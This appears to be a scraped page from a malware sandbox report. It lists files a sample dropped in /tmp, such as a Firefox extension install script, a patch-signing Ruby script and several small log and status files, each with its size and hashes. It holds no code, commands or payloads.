lab_firefox_ext_install.sh

Path /tmp/lab_firefox_ext_install.sh
Size 18KB
SHA256 022424aea9d913ce078ded33b3f37b7871cf3e62ec96262b45a9564a3a214601
MD5 439de0b912d653c07e6cdec3e4f887cf
SHA1 c06dad4c84877e1ced917c7110d2896172df4e1a
SHA512 d4a06c94b3d01d2f2bd56774f2991901a281b14ceee5f0c1be46c856c10ebad9bbc6a45dabaaa79c2ba3d6980bf606da8b2975f0622fb6a28e9959aecee07396
SSDEEP 384:aX4Er6Acvyh5PyzdFftnw0gouDzE+cHocmSJa+zoieptJrpAxx0VJJAxhZocZRaR:m4Er6AcMJyjftnZgNDzE+cIc1rozJdAW
TLSH
T1E882CA51E45856B31EEE507CDC8A4400B6A51A2B6D583810B8FE94A81F2D378E1FE7FF
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

lab_firefox_patch_signing.rb

Path /tmp/lab_firefox_patch_signing.rb
Size 4KB
SHA256 c47a549a24a55818d0480a2dcef83d9a8319cad7d8eaf4f8a772522971f7517a
MD5 2e46193ca2704fe4c9aa114c9c557430
SHA1 80d6e81aaaba04cbfc701a760cda2a0e77a351cf
SHA512 e440576a0ee78ae848925b27df40fdf1e95c1a4f7ce58676da87996c824bd284c0f8fdd79541363a9509306886aee0281d65ebe2d0295b5af9320e9b5549ee5f
SSDEEP 96:eDbB5AJvV9gqH7ScvzQ352dDvXzJ5vawnQ1O87HIl5FzCFPjKfpDXmM:eF56vLHN/dLX3nn/N6jKFWM
TLSH
T17AA134BA35801C775A17D172ABDB4411CF05F60B97DA3E20B98C48D85B0A9B34369BF9
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

lab_ip.txt

Path /tmp/lab_ip.txt
Size 13B
SHA256 eafe0dad9a7bb9a773dabaaff3936967b4c0486abbe59ecf56a149d982a77017
MD5 94572c47208737ee5eca4de1ac81f069
SHA1 6b24ce98e0a56f5e13734a128547a768390ca22e
SHA512 e2b43421ab8188d0b3d10c9c59944664474b55e10f0c0cb2d8a695c0471ca6c831af46db29b7aa21f24d43012ffdc7a66f02ca1ace78e2bc367cf8bebfb2891c
MD5 SHA1 SHA512

Submit Download

lab_tg.log

Path /tmp/lab_tg.log
Size 56B
SHA256 e6b5f9aa32d0c275724a489e158a1df025b90fda50e9c28e71ffb264f5204207
MD5 184f7d1bf6dcaa641cc15b3ca944dfda
SHA1 234841132ff6d0c43da34f9c08e51a5babe038db
SHA512 1ff09011cd3165913f2470d065de636fdf585ba7f544736a06d1789748265a0d4537b920d295753014a04731508feae677450ba42cd50d07540f1403fd6f7254
TLSH
T18290028625A1604021C2293A5046E2597262BD6897D62C8281D445A381C35767656EE1
MD5 SHA1 SHA512 TLSH

Submit Download

lab_tg.log

Path /tmp/lab_tg.log
Size 64B
SHA256 0286c90509a96e7be0d94f92b9531d4e57c6fd3e5f8d288e268cf1b1e4b40055
MD5 182792c1234de3e30e9ab1bea9bfdee0
SHA1 1538737cf2f83e398509b0fe482d065940a7fbcf
SHA512 edecc577e63a755851ea973f2668b6d7e9e8a62d3bc5766aa62758eab33459d17a966403ca7292019f613f444dff321b98f1c2f3fa54e7581e4b37f3c4b441e8
TLSH
T1A7A0228320A0208022C2383A0002E3083322BC2883C23C8288E080E380C30323202FE0
MD5 SHA1 SHA512 TLSH

Submit Download

lab_tg.log

Path /tmp/lab_tg.log
Size 183B
SHA256 129737e6678e2b625f412995122f16a90ed70470a1f2f1dfca35ca427cf4b8fa
MD5 f49755ebd05ec2dc7e10422dbd004950
SHA1 061db99aa5b37968cc3e42a1a70d97bb59f77ed2
SHA512 7e84fdf40201fc79010790b39e3a415f7643d5f803445d822c1d8158f4efdddaa0355ddc718bec3b776aa25adcecda5cf390aa15b1d7a2b1535f623812019353
TLSH
T1C1C0128625E0608032C2253E4047E25C7662BD5997C22C4286F4C1B385C397A7162BF1
MD5 SHA1 SHA512 TLSH

Submit Download

lab_tg.log

Path /tmp/lab_tg.log
Size 191B
SHA256 1c93ab8f5bcd64f4cf2bec773f077f7710f72ad771073f19e9edc5d8daeb8ed6
MD5 9fa7372fa4b204676815545c86faa3f1
SHA1 a2af52813e11c6426f2f7f2dc17ebc65f3ded76c
SHA512 349983d2e5d0275d92e889b1c8c6781538f39708675925fbf3f2e8d4f98ae3fbf8fc9d4396e63bc5d30a68055e5f4d2e87aaec4f131bc1da681474517c839d8a
TLSH
T1B0C0128725E0608033C2353E4047E25C7A62BD5997C23C468AF4C1B385C797A7162BF1
MD5 SHA1 SHA512 TLSH

Submit Download

lab_tg.log

Path /tmp/lab_tg.log
Size 390B
SHA256 c6ea0eee132cd64a80190726a69641e2538584a4e7fb2b0b5b2eaca3f6195f0c
MD5 908401ed68fa0664c9b7f17410751799
SHA1 80d7afda0bee8163f0fb7d037c49cc12c7db9867
SHA512 d180432b6d21917f9b0ba1a46a258289c50202f592ce7b30a87a0b34440b93a9f2e9f00c39357db6eb4cb32206d4dd917542abf8856dd50723d846f512be97fb
TLSH
T1BEE09B8276D0609073C1253E4043E21C3A52BD55A7C23C469BF4C1B349C787D7162BF4
MD5 SHA1 SHA512 TLSH

Submit Download

sh-thd.mBYhNw

Path /tmp/sh-thd.mBYhNw
Size 8KB
SHA256 a5a389085baab268bd8c1f6b38039538ce5b74a05a4b94917d5dd9552f02dd0f
MD5 ff98d3c3e9b0feaaed429e0a90cc3410
SHA1 cb709defd6d69601fe74f17a82020cb017f5e014
SHA512 941628fdebc55acf536a009f10808c2827285e52cac44eff6548d2d6a41e57c8117f908a73655eaefc3e48ca3cf09e9551df41b91e3c84164d5be7fe6e4a88e9
SSDEEP 192:2TVMwYHbBhpTw+ztLQZ9tr6GS8jq4769qdnjsw2oPR0h5z:gIbTkGGljq476VoPR0h5z
TLSH
T12B02298D8B450B4EF8279B8DCDDE6EF3148C3E336C9284F328689149C950D9D669382B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

updstat.txt

Path /tmp/updstat.txt
Size 5B
SHA256 2056a28ea38a000f3a3328cb7fabe330638d3258affe1a869e3f92986222d997
MD5 95b3644556b48a25f3366d82b0e3b349
SHA1 a44b30b36141bf0f462bbdef6f5000f17655216e
SHA512 df2f625102f674e1181d5b202e588d7d27c8210146a0fbc02309169fe0da32cbdb581ea25d051a83f9573d5ea5ce1c2c37a3c5434be40348dc0d944a5dd94592
MD5 SHA1 SHA512

Submit Download

updstat_final.txt

Path /tmp/updstat_final.txt
Size 84B
SHA256 dd6f65f993fccceedc03e386dc2fb9c62e7c52e5bd12011d606379e8b249f6ef
MD5 eba6bb4a92604b7fa8e6317a6051620f
SHA1 890b8780dfe692bfa5337b8dc1fb91943b802ed2
SHA512 6030b5a6a60a5ad478912c68022f183f597aa119d03198b3f21cf90ef5fec27a71e9a9caedc9cfd2f1fe7139335e774aa94e0a66612b22493fd841109f580dfb
TLSH
T107A01222494014BC1111300C112060078A2261F3053111CA8A8041F17A02B691893045
MD5 SHA1 SHA512 TLSH

Submit Download

updstat_final.txt

Path /tmp/updstat_final.txt
Size 100B
SHA256 4d1f0a45aaedfec74a43ff01a6fd6dec7dc7cb986af69abcf32221fbf18375c3
MD5 076a7e9015e57d8c51b8564721914642
SHA1 880440caededcbb3065dec5c6f36de069b174169
SHA512 3573856c01f8d1492a33f916a525db02aaad29a8e9237d4e85c8a2054d0dd6150e9e71a77bb0ea37386ccffdb17baf421873a89a6d71ac64698d03da8b1d6057
TLSH
T1A4B012224D4014FC2115312C3120640F9B3262F3153212DBCEC049F5FA02F7D1C93585
MD5 SHA1 SHA512 TLSH

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads